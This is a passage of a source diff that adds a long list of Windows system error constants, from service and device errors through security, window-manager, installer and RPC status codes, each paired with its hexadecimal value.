+ERROR_DATABASE_DOES_NOT_EXIST                                            = 0x00000429
+ERROR_SERVICE_SPECIFIC_ERROR                                             = 0x0000042a
+ERROR_PROCESS_ABORTED                                                    = 0x0000042b
+ERROR_SERVICE_DEPENDENCY_FAIL                                            = 0x0000042c
+ERROR_SERVICE_LOGON_FAILED                                               = 0x0000042d
+ERROR_SERVICE_START_HANG                                                 = 0x0000042e
+ERROR_INVALID_SERVICE_LOCK                                               = 0x0000042f
+ERROR_SERVICE_MARKED_FOR_DELETE                                          = 0x00000430
+ERROR_SERVICE_EXISTS                                                     = 0x00000431
+ERROR_ALREADY_RUNNING_LKG                                                = 0x00000432
+ERROR_SERVICE_DEPENDENCY_DELETED                                         = 0x00000433
+ERROR_BOOT_ALREADY_ACCEPTED                                              = 0x00000434
+ERROR_SERVICE_NEVER_STARTED                                              = 0x00000435
+ERROR_DUPLICATE_SERVICE_NAME                                             = 0x00000436
+ERROR_DIFFERENT_SERVICE_ACCOUNT                                          = 0x00000437
+ERROR_CANNOT_DETECT_DRIVER_FAILURE                                       = 0x00000438
+ERROR_CANNOT_DETECT_PROCESS_ABORT                                        = 0x00000439
+ERROR_NO_RECOVERY_PROGRAM                                                = 0x0000043a
+ERROR_SERVICE_NOT_IN_EXE                                                 = 0x0000043b
+ERROR_NOT_SAFEBOOT_SERVICE                                               = 0x0000043c
+ERROR_END_OF_MEDIA                                                       = 0x0000044c
+ERROR_FILEMARK_DETECTED                                                  = 0x0000044d
+ERROR_BEGINNING_OF_MEDIA                                                 = 0x0000044e
+ERROR_SETMARK_DETECTED                                                   = 0x0000044f
+ERROR_NO_DATA_DETECTED                                                   = 0x00000450
+ERROR_PARTITION_FAILURE                                                  = 0x00000451
+ERROR_INVALID_BLOCK_LENGTH                                               = 0x00000452
+ERROR_DEVICE_NOT_PARTITIONED                                             = 0x00000453
+ERROR_UNABLE_TO_LOCK_MEDIA                                               = 0x00000454
+ERROR_UNABLE_TO_UNLOAD_MEDIA                                             = 0x00000455
+ERROR_MEDIA_CHANGED                                                      = 0x00000456
+ERROR_BUS_RESET                                                          = 0x00000457
+ERROR_NO_MEDIA_IN_DRIVE                                                  = 0x00000458
+ERROR_NO_UNICODE_TRANSLATION                                             = 0x00000459
+ERROR_DLL_INIT_FAILED                                                    = 0x0000045a
+ERROR_SHUTDOWN_IN_PROGRESS                                               = 0x0000045b
+ERROR_NO_SHUTDOWN_IN_PROGRESS                                            = 0x0000045c
+ERROR_IO_DEVICE                                                          = 0x0000045d
+ERROR_SERIAL_NO_DEVICE                                                   = 0x0000045e
+ERROR_IRQ_BUSY                                                           = 0x0000045f
+ERROR_MORE_WRITES                                                        = 0x00000460
+ERROR_COUNTER_TIMEOUT                                                    = 0x00000461
+ERROR_FLOPPY_ID_MARK_NOT_FOUND                                           = 0x00000462
+ERROR_FLOPPY_WRONG_CYLINDER                                              = 0x00000463
+ERROR_FLOPPY_UNKNOWN_ERROR                                               = 0x00000464
+ERROR_FLOPPY_BAD_REGISTERS                                               = 0x00000465
+ERROR_DISK_RECALIBRATE_FAILED                                            = 0x00000466
+ERROR_DISK_OPERATION_FAILED                                              = 0x00000467
+ERROR_DISK_RESET_FAILED                                                  = 0x00000468
+ERROR_EOM_OVERFLOW                                                       = 0x00000469
+ERROR_NOT_ENOUGH_SERVER_MEMORY                                           = 0x0000046a
+ERROR_POSSIBLE_DEADLOCK                                                  = 0x0000046b
+ERROR_MAPPED_ALIGNMENT                                                   = 0x0000046c
+ERROR_SET_POWER_STATE_VETOED                                             = 0x00000474
+ERROR_SET_POWER_STATE_FAILED                                             = 0x00000475
+ERROR_TOO_MANY_LINKS                                                     = 0x00000476
+ERROR_OLD_WIN_VERSION                                                    = 0x0000047e
+ERROR_APP_WRONG_OS                                                       = 0x0000047f
+ERROR_SINGLE_INSTANCE_APP                                                = 0x00000480
+ERROR_RMODE_APP                                                          = 0x00000481
+ERROR_INVALID_DLL                                                        = 0x00000482
+ERROR_NO_ASSOCIATION                                                     = 0x00000483
+ERROR_DDE_FAIL                                                           = 0x00000484
+ERROR_DLL_NOT_FOUND                                                      = 0x00000485
+ERROR_NO_MORE_USER_HANDLES                                               = 0x00000486
+ERROR_MESSAGE_SYNC_ONLY                                                  = 0x00000487
+ERROR_SOURCE_ELEMENT_EMPTY                                               = 0x00000488
+ERROR_DESTINATION_ELEMENT_FULL                                           = 0x00000489
+ERROR_ILLEGAL_ELEMENT_ADDRESS                                            = 0x0000048a
+ERROR_MAGAZINE_NOT_PRESENT                                               = 0x0000048b
+ERROR_DEVICE_REINITIALIZATION_NEEDED                                     = 0x0000048c
+ERROR_DEVICE_REQUIRES_CLEANING                                           = 0x0000048d
+ERROR_DEVICE_DOOR_OPEN                                                   = 0x0000048e
+ERROR_DEVICE_NOT_CONNECTED                                               = 0x0000048f
+ERROR_NOT_FOUND                                                          = 0x00000490
+ERROR_NO_MATCH                                                           = 0x00000491
+ERROR_SET_NOT_FOUND                                                      = 0x00000492
+ERROR_POINT_NOT_FOUND                                                    = 0x00000493
+ERROR_NO_TRACKING_SERVICE                                                = 0x00000494
+ERROR_NO_VOLUME_ID                                                       = 0x00000495
+ERROR_UNABLE_TO_REMOVE_REPLACED                                          = 0x00000497
+ERROR_UNABLE_TO_MOVE_REPLACEMENT                                         = 0x00000498
+ERROR_UNABLE_TO_MOVE_REPLACEMENT_2                                       = 0x00000499
+ERROR_JOURNAL_DELETE_IN_PROGRESS                                         = 0x0000049a
+ERROR_JOURNAL_NOT_ACTIVE                                                 = 0x0000049b
+ERROR_POTENTIAL_FILE_FOUND                                               = 0x0000049c
+ERROR_JOURNAL_ENTRY_DELETED                                              = 0x0000049d
+ERROR_SHUTDOWN_IS_SCHEDULED                                              = 0x000004a6
+ERROR_SHUTDOWN_USERS_LOGGED_ON                                           = 0x000004a7
+ERROR_BAD_DEVICE                                                         = 0x000004b0
+ERROR_CONNECTION_UNAVAIL                                                 = 0x000004b1
+ERROR_DEVICE_ALREADY_REMEMBERED                                          = 0x000004b2
+ERROR_NO_NET_OR_BAD_PATH                                                 = 0x000004b3
+ERROR_BAD_PROVIDER                                                       = 0x000004b4
+ERROR_CANNOT_OPEN_PROFILE                                                = 0x000004b5
+ERROR_BAD_PROFILE                                                        = 0x000004b6
+ERROR_NOT_CONTAINER                                                      = 0x000004b7
+ERROR_EXTENDED_ERROR                                                     = 0x000004b8
+ERROR_INVALID_GROUPNAME                                                  = 0x000004b9
+ERROR_INVALID_COMPUTERNAME                                               = 0x000004ba
+ERROR_INVALID_EVENTNAME                                                  = 0x000004bb
+ERROR_INVALID_DOMAINNAME                                                 = 0x000004bc
+ERROR_INVALID_SERVICENAME                                                = 0x000004bd
+ERROR_INVALID_NETNAME                                                    = 0x000004be
+ERROR_INVALID_SHARENAME                                                  = 0x000004bf
+ERROR_INVALID_PASSWORDNAME                                               = 0x000004c0
+ERROR_INVALID_MESSAGENAME                                                = 0x000004c1
+ERROR_INVALID_MESSAGEDEST                                                = 0x000004c2
+ERROR_SESSION_CREDENTIAL_CONFLICT                                        = 0x000004c3
+ERROR_REMOTE_SESSION_LIMIT_EXCEEDED                                      = 0x000004c4
+ERROR_DUP_DOMAINNAME                                                     = 0x000004c5
+ERROR_NO_NETWORK                                                         = 0x000004c6
+ERROR_CANCELLED                                                          = 0x000004c7
+ERROR_USER_MAPPED_FILE                                                   = 0x000004c8
+ERROR_CONNECTION_REFUSED                                                 = 0x000004c9
+ERROR_GRACEFUL_DISCONNECT                                                = 0x000004ca
+ERROR_ADDRESS_ALREADY_ASSOCIATED                                         = 0x000004cb
+ERROR_ADDRESS_NOT_ASSOCIATED                                             = 0x000004cc
+ERROR_CONNECTION_INVALID                                                 = 0x000004cd
+ERROR_CONNECTION_ACTIVE                                                  = 0x000004ce
+ERROR_NETWORK_UNREACHABLE                                                = 0x000004cf
+ERROR_HOST_UNREACHABLE                                                   = 0x000004d0
+ERROR_PROTOCOL_UNREACHABLE                                               = 0x000004d1
+ERROR_PORT_UNREACHABLE                                                   = 0x000004d2
+ERROR_REQUEST_ABORTED                                                    = 0x000004d3
+ERROR_CONNECTION_ABORTED                                                 = 0x000004d4
+ERROR_RETRY                                                              = 0x000004d5
+ERROR_CONNECTION_COUNT_LIMIT                                             = 0x000004d6
+ERROR_LOGIN_TIME_RESTRICTION                                             = 0x000004d7
+ERROR_LOGIN_WKSTA_RESTRICTION                                            = 0x000004d8
+ERROR_INCORRECT_ADDRESS                                                  = 0x000004d9
+ERROR_ALREADY_REGISTERED                                                 = 0x000004da
+ERROR_SERVICE_NOT_FOUND                                                  = 0x000004db
+ERROR_NOT_AUTHENTICATED                                                  = 0x000004dc
+ERROR_NOT_LOGGED_ON                                                      = 0x000004dd
+ERROR_CONTINUE                                                           = 0x000004de
+ERROR_ALREADY_INITIALIZED                                                = 0x000004df
+ERROR_NO_MORE_DEVICES                                                    = 0x000004e0
+ERROR_NO_SUCH_SITE                                                       = 0x000004e1
+ERROR_DOMAIN_CONTROLLER_EXISTS                                           = 0x000004e2
+ERROR_ONLY_IF_CONNECTED                                                  = 0x000004e3
+ERROR_OVERRIDE_NOCHANGES                                                 = 0x000004e4
+ERROR_BAD_USER_PROFILE                                                   = 0x000004e5
+ERROR_NOT_SUPPORTED_ON_SBS                                               = 0x000004e6
+ERROR_SERVER_SHUTDOWN_IN_PROGRESS                                        = 0x000004e7
+ERROR_HOST_DOWN                                                          = 0x000004e8
+ERROR_NON_ACCOUNT_SID                                                    = 0x000004e9
+ERROR_NON_DOMAIN_SID                                                     = 0x000004ea
+ERROR_APPHELP_BLOCK                                                      = 0x000004eb
+ERROR_ACCESS_DISABLED_BY_POLICY                                          = 0x000004ec
+ERROR_REG_NAT_CONSUMPTION                                                = 0x000004ed
+ERROR_CSCSHARE_OFFLINE                                                   = 0x000004ee
+ERROR_PKINIT_FAILURE                                                     = 0x000004ef
+ERROR_SMARTCARD_SUBSYSTEM_FAILURE                                        = 0x000004f0
+ERROR_DOWNGRADE_DETECTED                                                 = 0x000004f1
+ERROR_MACHINE_LOCKED                                                     = 0x000004f7
+ERROR_CALLBACK_SUPPLIED_INVALID_DATA                                     = 0x000004f9
+ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED                                   = 0x000004fa
+ERROR_DRIVER_BLOCKED                                                     = 0x000004fb
+ERROR_INVALID_IMPORT_OF_NON_DLL                                          = 0x000004fc
+ERROR_ACCESS_DISABLED_WEBBLADE                                           = 0x000004fd
+ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER                                    = 0x000004fe
+ERROR_RECOVERY_FAILURE                                                   = 0x000004ff
+ERROR_ALREADY_FIBER                                                      = 0x00000500
+ERROR_ALREADY_THREAD                                                     = 0x00000501
+ERROR_STACK_BUFFER_OVERRUN                                               = 0x00000502
+ERROR_PARAMETER_QUOTA_EXCEEDED                                           = 0x00000503
+ERROR_DEBUGGER_INACTIVE                                                  = 0x00000504
+ERROR_DELAY_LOAD_FAILED                                                  = 0x00000505
+ERROR_VDM_DISALLOWED                                                     = 0x00000506
+ERROR_UNIDENTIFIED_ERROR                                                 = 0x00000507
+ERROR_INVALID_CRUNTIME_PARAMETER                                         = 0x00000508
+ERROR_BEYOND_VDL                                                         = 0x00000509
+ERROR_INCOMPATIBLE_SERVICE_SID_TYPE                                      = 0x0000050a
+ERROR_DRIVER_PROCESS_TERMINATED                                          = 0x0000050b
+ERROR_IMPLEMENTATION_LIMIT                                               = 0x0000050c
+ERROR_PROCESS_IS_PROTECTED                                               = 0x0000050d
+ERROR_SERVICE_NOTIFY_CLIENT_LAGGING                                      = 0x0000050e
+ERROR_DISK_QUOTA_EXCEEDED                                                = 0x0000050f
+ERROR_CONTENT_BLOCKED                                                    = 0x00000510
+ERROR_INCOMPATIBLE_SERVICE_PRIVILEGE                                     = 0x00000511
+ERROR_APP_HANG                                                           = 0x00000512
+ERROR_INVALID_LABEL                                                      = 0x00000513
+ERROR_NOT_ALL_ASSIGNED                                                   = 0x00000514
+ERROR_SOME_NOT_MAPPED                                                    = 0x00000515
+ERROR_NO_QUOTAS_FOR_ACCOUNT                                              = 0x00000516
+ERROR_LOCAL_USER_SESSION_KEY                                             = 0x00000517
+ERROR_NULL_LM_PASSWORD                                                   = 0x00000518
+ERROR_UNKNOWN_REVISION                                                   = 0x00000519
+ERROR_REVISION_MISMATCH                                                  = 0x0000051a
+ERROR_INVALID_OWNER                                                      = 0x0000051b
+ERROR_INVALID_PRIMARY_GROUP                                              = 0x0000051c
+ERROR_NO_IMPERSONATION_TOKEN                                             = 0x0000051d
+ERROR_CANT_DISABLE_MANDATORY                                             = 0x0000051e
+ERROR_NO_LOGON_SERVERS                                                   = 0x0000051f
+ERROR_NO_SUCH_LOGON_SESSION                                              = 0x00000520
+ERROR_NO_SUCH_PRIVILEGE                                                  = 0x00000521
+ERROR_PRIVILEGE_NOT_HELD                                                 = 0x00000522
+ERROR_INVALID_ACCOUNT_NAME                                               = 0x00000523
+ERROR_USER_EXISTS                                                        = 0x00000524
+ERROR_NO_SUCH_USER                                                       = 0x00000525
+ERROR_GROUP_EXISTS                                                       = 0x00000526
+ERROR_NO_SUCH_GROUP                                                      = 0x00000527
+ERROR_MEMBER_IN_GROUP                                                    = 0x00000528
+ERROR_MEMBER_NOT_IN_GROUP                                                = 0x00000529
+ERROR_LAST_ADMIN                                                         = 0x0000052a
+ERROR_WRONG_PASSWORD                                                     = 0x0000052b
+ERROR_ILL_FORMED_PASSWORD                                                = 0x0000052c
+ERROR_PASSWORD_RESTRICTION                                               = 0x0000052d
+ERROR_LOGON_FAILURE                                                      = 0x0000052e
+ERROR_ACCOUNT_RESTRICTION                                                = 0x0000052f
+ERROR_INVALID_LOGON_HOURS                                                = 0x00000530
+ERROR_INVALID_WORKSTATION                                                = 0x00000531
+ERROR_PASSWORD_EXPIRED                                                   = 0x00000532
+ERROR_ACCOUNT_DISABLED                                                   = 0x00000533
+ERROR_NONE_MAPPED                                                        = 0x00000534
+ERROR_TOO_MANY_LUIDS_REQUESTED                                           = 0x00000535
+ERROR_LUIDS_EXHAUSTED                                                    = 0x00000536
+ERROR_INVALID_SUB_AUTHORITY                                              = 0x00000537
+ERROR_INVALID_ACL                                                        = 0x00000538
+ERROR_INVALID_SID                                                        = 0x00000539
+ERROR_INVALID_SECURITY_DESCR                                             = 0x0000053a
+ERROR_BAD_INHERITANCE_ACL                                                = 0x0000053c
+ERROR_SERVER_DISABLED                                                    = 0x0000053d
+ERROR_SERVER_NOT_DISABLED                                                = 0x0000053e
+ERROR_INVALID_ID_AUTHORITY                                               = 0x0000053f
+ERROR_ALLOTTED_SPACE_EXCEEDED                                            = 0x00000540
+ERROR_INVALID_GROUP_ATTRIBUTES                                           = 0x00000541
+ERROR_BAD_IMPERSONATION_LEVEL                                            = 0x00000542
+ERROR_CANT_OPEN_ANONYMOUS                                                = 0x00000543
+ERROR_BAD_VALIDATION_CLASS                                               = 0x00000544
+ERROR_BAD_TOKEN_TYPE                                                     = 0x00000545
+ERROR_NO_SECURITY_ON_OBJECT                                              = 0x00000546
+ERROR_CANT_ACCESS_DOMAIN_INFO                                            = 0x00000547
+ERROR_INVALID_SERVER_STATE                                               = 0x00000548
+ERROR_INVALID_DOMAIN_STATE                                               = 0x00000549
+ERROR_INVALID_DOMAIN_ROLE                                                = 0x0000054a
+ERROR_NO_SUCH_DOMAIN                                                     = 0x0000054b
+ERROR_DOMAIN_EXISTS                                                      = 0x0000054c
+ERROR_DOMAIN_LIMIT_EXCEEDED                                              = 0x0000054d
+ERROR_INTERNAL_DB_CORRUPTION                                             = 0x0000054e
+ERROR_INTERNAL_ERROR                                                     = 0x0000054f
+ERROR_GENERIC_NOT_MAPPED                                                 = 0x00000550
+ERROR_BAD_DESCRIPTOR_FORMAT                                              = 0x00000551
+ERROR_NOT_LOGON_PROCESS                                                  = 0x00000552
+ERROR_LOGON_SESSION_EXISTS                                               = 0x00000553
+ERROR_NO_SUCH_PACKAGE                                                    = 0x00000554
+ERROR_BAD_LOGON_SESSION_STATE                                            = 0x00000555
+ERROR_LOGON_SESSION_COLLISION                                            = 0x00000556
+ERROR_INVALID_LOGON_TYPE                                                 = 0x00000557
+ERROR_CANNOT_IMPERSONATE                                                 = 0x00000558
+ERROR_RXACT_INVALID_STATE                                                = 0x00000559
+ERROR_RXACT_COMMIT_FAILURE                                               = 0x0000055a
+ERROR_SPECIAL_ACCOUNT                                                    = 0x0000055b
+ERROR_SPECIAL_GROUP                                                      = 0x0000055c
+ERROR_SPECIAL_USER                                                       = 0x0000055d
+ERROR_MEMBERS_PRIMARY_GROUP                                              = 0x0000055e
+ERROR_TOKEN_ALREADY_IN_USE                                               = 0x0000055f
+ERROR_NO_SUCH_ALIAS                                                      = 0x00000560
+ERROR_MEMBER_NOT_IN_ALIAS                                                = 0x00000561
+ERROR_MEMBER_IN_ALIAS                                                    = 0x00000562
+ERROR_ALIAS_EXISTS                                                       = 0x00000563
+ERROR_LOGON_NOT_GRANTED                                                  = 0x00000564
+ERROR_TOO_MANY_SECRETS                                                   = 0x00000565
+ERROR_SECRET_TOO_LONG                                                    = 0x00000566
+ERROR_INTERNAL_DB_ERROR                                                  = 0x00000567
+ERROR_TOO_MANY_CONTEXT_IDS                                               = 0x00000568
+ERROR_LOGON_TYPE_NOT_GRANTED                                             = 0x00000569
+ERROR_NT_CROSS_ENCRYPTION_REQUIRED                                       = 0x0000056a
+ERROR_NO_SUCH_MEMBER                                                     = 0x0000056b
+ERROR_INVALID_MEMBER                                                     = 0x0000056c
+ERROR_TOO_MANY_SIDS                                                      = 0x0000056d
+ERROR_LM_CROSS_ENCRYPTION_REQUIRED                                       = 0x0000056e
+ERROR_NO_INHERITANCE                                                     = 0x0000056f
+ERROR_FILE_CORRUPT                                                       = 0x00000570
+ERROR_DISK_CORRUPT                                                       = 0x00000571
+ERROR_NO_USER_SESSION_KEY                                                = 0x00000572
+ERROR_LICENSE_QUOTA_EXCEEDED                                             = 0x00000573
+ERROR_WRONG_TARGET_NAME                                                  = 0x00000574
+ERROR_MUTUAL_AUTH_FAILED                                                 = 0x00000575
+ERROR_TIME_SKEW                                                          = 0x00000576
+ERROR_CURRENT_DOMAIN_NOT_ALLOWED                                         = 0x00000577
+ERROR_INVALID_WINDOW_HANDLE                                              = 0x00000578
+ERROR_INVALID_MENU_HANDLE                                                = 0x00000579
+ERROR_INVALID_CURSOR_HANDLE                                              = 0x0000057a
+ERROR_INVALID_ACCEL_HANDLE                                               = 0x0000057b
+ERROR_INVALID_HOOK_HANDLE                                                = 0x0000057c
+ERROR_INVALID_DWP_HANDLE                                                 = 0x0000057d
+ERROR_TLW_WITH_WSCHILD                                                   = 0x0000057e
+ERROR_CANNOT_FIND_WND_CLASS                                              = 0x0000057f
+ERROR_WINDOW_OF_OTHER_THREAD                                             = 0x00000580
+ERROR_HOTKEY_ALREADY_REGISTERED                                          = 0x00000581
+ERROR_CLASS_ALREADY_EXISTS                                               = 0x00000582
+ERROR_CLASS_DOES_NOT_EXIST                                               = 0x00000583
+ERROR_CLASS_HAS_WINDOWS                                                  = 0x00000584
+ERROR_INVALID_INDEX                                                      = 0x00000585
+ERROR_INVALID_ICON_HANDLE                                                = 0x00000586
+ERROR_PRIVATE_DIALOG_INDEX                                               = 0x00000587
+ERROR_LISTBOX_ID_NOT_FOUND                                               = 0x00000588
+ERROR_NO_WILDCARD_CHARACTERS                                             = 0x00000589
+ERROR_CLIPBOARD_NOT_OPEN                                                 = 0x0000058a
+ERROR_HOTKEY_NOT_REGISTERED                                              = 0x0000058b
+ERROR_WINDOW_NOT_DIALOG                                                  = 0x0000058c
+ERROR_CONTROL_ID_NOT_FOUND                                               = 0x0000058d
+ERROR_INVALID_COMBOBOX_MESSAGE                                           = 0x0000058e
+ERROR_WINDOW_NOT_COMBOBOX                                                = 0x0000058f
+ERROR_INVALID_EDIT_HEIGHT                                                = 0x00000590
+ERROR_DC_NOT_FOUND                                                       = 0x00000591
+ERROR_INVALID_HOOK_FILTER                                                = 0x00000592
+ERROR_INVALID_FILTER_PROC                                                = 0x00000593
+ERROR_HOOK_NEEDS_HMOD                                                    = 0x00000594
+ERROR_GLOBAL_ONLY_HOOK                                                   = 0x00000595
+ERROR_JOURNAL_HOOK_SET                                                   = 0x00000596
+ERROR_HOOK_NOT_INSTALLED                                                 = 0x00000597
+ERROR_INVALID_LB_MESSAGE                                                 = 0x00000598
+ERROR_SETCOUNT_ON_BAD_LB                                                 = 0x00000599
+ERROR_LB_WITHOUT_TABSTOPS                                                = 0x0000059a
+ERROR_DESTROY_OBJECT_OF_OTHER_THREAD                                     = 0x0000059b
+ERROR_CHILD_WINDOW_MENU                                                  = 0x0000059c
+ERROR_NO_SYSTEM_MENU                                                     = 0x0000059d
+ERROR_INVALID_MSGBOX_STYLE                                               = 0x0000059e
+ERROR_INVALID_SPI_VALUE                                                  = 0x0000059f
+ERROR_SCREEN_ALREADY_LOCKED                                              = 0x000005a0
+ERROR_HWNDS_HAVE_DIFF_PARENT                                             = 0x000005a1
+ERROR_NOT_CHILD_WINDOW                                                   = 0x000005a2
+ERROR_INVALID_GW_COMMAND                                                 = 0x000005a3
+ERROR_INVALID_THREAD_ID                                                  = 0x000005a4
+ERROR_NON_MDICHILD_WINDOW                                                = 0x000005a5
+ERROR_POPUP_ALREADY_ACTIVE                                               = 0x000005a6
+ERROR_NO_SCROLLBARS                                                      = 0x000005a7
+ERROR_INVALID_SCROLLBAR_RANGE                                            = 0x000005a8
+ERROR_INVALID_SHOWWIN_COMMAND                                            = 0x000005a9
+ERROR_NO_SYSTEM_RESOURCES                                                = 0x000005aa
+ERROR_NONPAGED_SYSTEM_RESOURCES                                          = 0x000005ab
+ERROR_PAGED_SYSTEM_RESOURCES                                             = 0x000005ac
+ERROR_WORKING_SET_QUOTA                                                  = 0x000005ad
+ERROR_PAGEFILE_QUOTA                                                     = 0x000005ae
+ERROR_COMMITMENT_LIMIT                                                   = 0x000005af
+ERROR_MENU_ITEM_NOT_FOUND                                                = 0x000005b0
+ERROR_INVALID_KEYBOARD_HANDLE                                            = 0x000005b1
+ERROR_HOOK_TYPE_NOT_ALLOWED                                              = 0x000005b2
+ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION                                 = 0x000005b3
+ERROR_TIMEOUT                                                            = 0x000005b4
+ERROR_INVALID_MONITOR_HANDLE                                             = 0x000005b5
+ERROR_INCORRECT_SIZE                                                     = 0x000005b6
+ERROR_SYMLINK_CLASS_DISABLED                                             = 0x000005b7
+ERROR_SYMLINK_NOT_SUPPORTED                                              = 0x000005b8
+ERROR_XML_PARSE_ERROR                                                    = 0x000005b9
+ERROR_XMLDSIG_ERROR                                                      = 0x000005ba
+ERROR_RESTART_APPLICATION                                                = 0x000005bb
+ERROR_WRONG_COMPARTMENT                                                  = 0x000005bc
+ERROR_AUTHIP_FAILURE                                                     = 0x000005bd
+ERROR_NO_NVRAM_RESOURCES                                                 = 0x000005be
+ERROR_NOT_GUI_PROCESS                                                    = 0x000005bf
+ERROR_EVENTLOG_FILE_CORRUPT                                              = 0x000005dc
+ERROR_EVENTLOG_CANT_START                                                = 0x000005dd
+ERROR_LOG_FILE_FULL                                                      = 0x000005de
+ERROR_EVENTLOG_FILE_CHANGED                                              = 0x000005df
+ERROR_INVALID_TASK_NAME                                                  = 0x0000060e
+ERROR_INVALID_TASK_INDEX                                                 = 0x0000060f
+ERROR_THREAD_ALREADY_IN_TASK                                             = 0x00000610
+ERROR_INSTALL_SERVICE_FAILURE                                            = 0x00000641
+ERROR_INSTALL_USEREXIT                                                   = 0x00000642
+ERROR_INSTALL_FAILURE                                                    = 0x00000643
+ERROR_INSTALL_SUSPEND                                                    = 0x00000644
+ERROR_UNKNOWN_PRODUCT                                                    = 0x00000645
+ERROR_UNKNOWN_FEATURE                                                    = 0x00000646
+ERROR_UNKNOWN_COMPONENT                                                  = 0x00000647
+ERROR_UNKNOWN_PROPERTY                                                   = 0x00000648
+ERROR_INVALID_HANDLE_STATE                                               = 0x00000649
+ERROR_BAD_CONFIGURATION                                                  = 0x0000064a
+ERROR_INDEX_ABSENT                                                       = 0x0000064b
+ERROR_INSTALL_SOURCE_ABSENT                                              = 0x0000064c
+ERROR_INSTALL_PACKAGE_VERSION                                            = 0x0000064d
+ERROR_PRODUCT_UNINSTALLED                                                = 0x0000064e
+ERROR_BAD_QUERY_SYNTAX                                                   = 0x0000064f
+ERROR_INVALID_FIELD                                                      = 0x00000650
+ERROR_DEVICE_REMOVED                                                     = 0x00000651
+ERROR_INSTALL_ALREADY_RUNNING                                            = 0x00000652
+ERROR_INSTALL_PACKAGE_OPEN_FAILED                                        = 0x00000653
+ERROR_INSTALL_PACKAGE_INVALID                                            = 0x00000654
+ERROR_INSTALL_UI_FAILURE                                                 = 0x00000655
+ERROR_INSTALL_LOG_FAILURE                                                = 0x00000656
+ERROR_INSTALL_LANGUAGE_UNSUPPORTED                                       = 0x00000657
+ERROR_INSTALL_TRANSFORM_FAILURE                                          = 0x00000658
+ERROR_INSTALL_PACKAGE_REJECTED                                           = 0x00000659
+ERROR_FUNCTION_NOT_CALLED                                                = 0x0000065a
+ERROR_FUNCTION_FAILED                                                    = 0x0000065b
+ERROR_INVALID_TABLE                                                      = 0x0000065c
+ERROR_DATATYPE_MISMATCH                                                  = 0x0000065d
+ERROR_UNSUPPORTED_TYPE                                                   = 0x0000065e
+ERROR_CREATE_FAILED                                                      = 0x0000065f
+ERROR_INSTALL_TEMP_UNWRITABLE                                            = 0x00000660
+ERROR_INSTALL_PLATFORM_UNSUPPORTED                                       = 0x00000661
+ERROR_INSTALL_NOTUSED                                                    = 0x00000662
+ERROR_PATCH_PACKAGE_OPEN_FAILED                                          = 0x00000663
+ERROR_PATCH_PACKAGE_INVALID                                              = 0x00000664
+ERROR_PATCH_PACKAGE_UNSUPPORTED                                          = 0x00000665
+ERROR_PRODUCT_VERSION                                                    = 0x00000666
+ERROR_INVALID_COMMAND_LINE                                               = 0x00000667
+ERROR_INSTALL_REMOTE_DISALLOWED                                          = 0x00000668
+ERROR_SUCCESS_REBOOT_INITIATED                                           = 0x00000669
+ERROR_PATCH_TARGET_NOT_FOUND                                             = 0x0000066a
+ERROR_PATCH_PACKAGE_REJECTED                                             = 0x0000066b
+ERROR_INSTALL_TRANSFORM_REJECTED                                         = 0x0000066c
+ERROR_INSTALL_REMOTE_PROHIBITED                                          = 0x0000066d
+ERROR_PATCH_REMOVAL_UNSUPPORTED                                          = 0x0000066e
+ERROR_UNKNOWN_PATCH                                                      = 0x0000066f
+ERROR_PATCH_NO_SEQUENCE                                                  = 0x00000670
+ERROR_PATCH_REMOVAL_DISALLOWED                                           = 0x00000671
+ERROR_INVALID_PATCH_XML                                                  = 0x00000672
+ERROR_PATCH_MANAGED_ADVERTISED_PRODUCT                                   = 0x00000673
+ERROR_INSTALL_SERVICE_SAFEBOOT                                           = 0x00000674
+ERROR_FAIL_FAST_EXCEPTION                                                = 0x00000675
+ERROR_INSTALL_REJECTED                                                   = 0x00000676
+RPC_S_INVALID_STRING_BINDING                                             = 0x000006a4
+RPC_S_WRONG_KIND_OF_BINDING                                              = 0x000006a5
+RPC_S_INVALID_BINDING                                                    = 0x000006a6
+RPC_S_PROTSEQ_NOT_SUPPORTED                                              = 0x000006a7
+RPC_S_INVALID_RPC_PROTSEQ                                                = 0x000006a8
+RPC_S_INVALID_STRING_UUID                                                = 0x000006a9
+RPC_S_INVALID_ENDPOINT_FORMAT                                            = 0x000006aa
+RPC_S_INVALID_NET_ADDR                                                   = 0x000006ab
+RPC_S_NO_ENDPOINT_FOUND                                                  = 0x000006ac
+RPC_S_INVALID_TIMEOUT                                                    = 0x000006ad
+RPC_S_OBJECT_NOT_FOUND                                                   = 0x000006ae
+RPC_S_ALREADY_REGISTERED                                                 = 0x000006af
+RPC_S_TYPE_ALREADY_REGISTERED                                            = 0x000006b0
+RPC_S_ALREADY_LISTENING                                                  = 0x000006b1
+RPC_S_NO_PROTSEQS_REGISTERED                                             = 0x000006b2
+RPC_S_NOT_LISTENING                                                      = 0x000006b3
+RPC_S_UNKNOWN_MGR_TYPE                                                   = 0x000006b4
+RPC_S_UNKNOWN_IF                                                         = 0x000006b5
+RPC_S_NO_BINDINGS                                                        = 0x000006b6
+RPC_S_NO_PROTSEQS                                                        = 0x000006b7
+RPC_S_CANT_CREATE_ENDPOINT                                               = 0x000006b8
+RPC_S_OUT_OF_RESOURCES                                                   = 0x000006b9
+RPC_S_SERVER_UNAVAILABLE                                                 = 0x000006ba
+RPC_S_SERVER_TOO_BUSY                                                    = 0x000006bb
+RPC_S_INVALID_NETWORK_OPTIONS                                            = 0x000006bc
+RPC_S_NO_CALL_ACTIVE                                                     = 0x000006bd
+RPC_S_CALL_FAILED                                                        = 0x000006be
+RPC_S_CALL_FAILED_DNE                                                    = 0x000006bf
+RPC_S_PROTOCOL_ERROR                                                     = 0x000006c0
+RPC_S_PROXY_ACCESS_DENIED                                                = 0x000006c1
+RPC_S_UNSUPPORTED_TRANS_SYN                                              = 0x000006c2
+RPC_S_UNSUPPORTED_TYPE                                                   = 0x000006c4
+RPC_S_INVALID_TAG                                                        = 0x000006c5
+RPC_S_INVALID_BOUND                                                      = 0x000006c6
+RPC_S_NO_ENTRY_NAME                                                      = 0x000006c7
+RPC_S_INVALID_NAME_SYNTAX                                                = 0x000006c8
+RPC_S_UNSUPPORTED_NAME_SYNTAX                                            = 0x000006c9
+RPC_S_UUID_NO_ADDRESS                                                    = 0x000006cb
+RPC_S_DUPLICATE_ENDPOINT                                                 = 0x000006cc
+RPC_S_UNKNOWN_AUTHN_TYPE                                                 = 0x000006cd
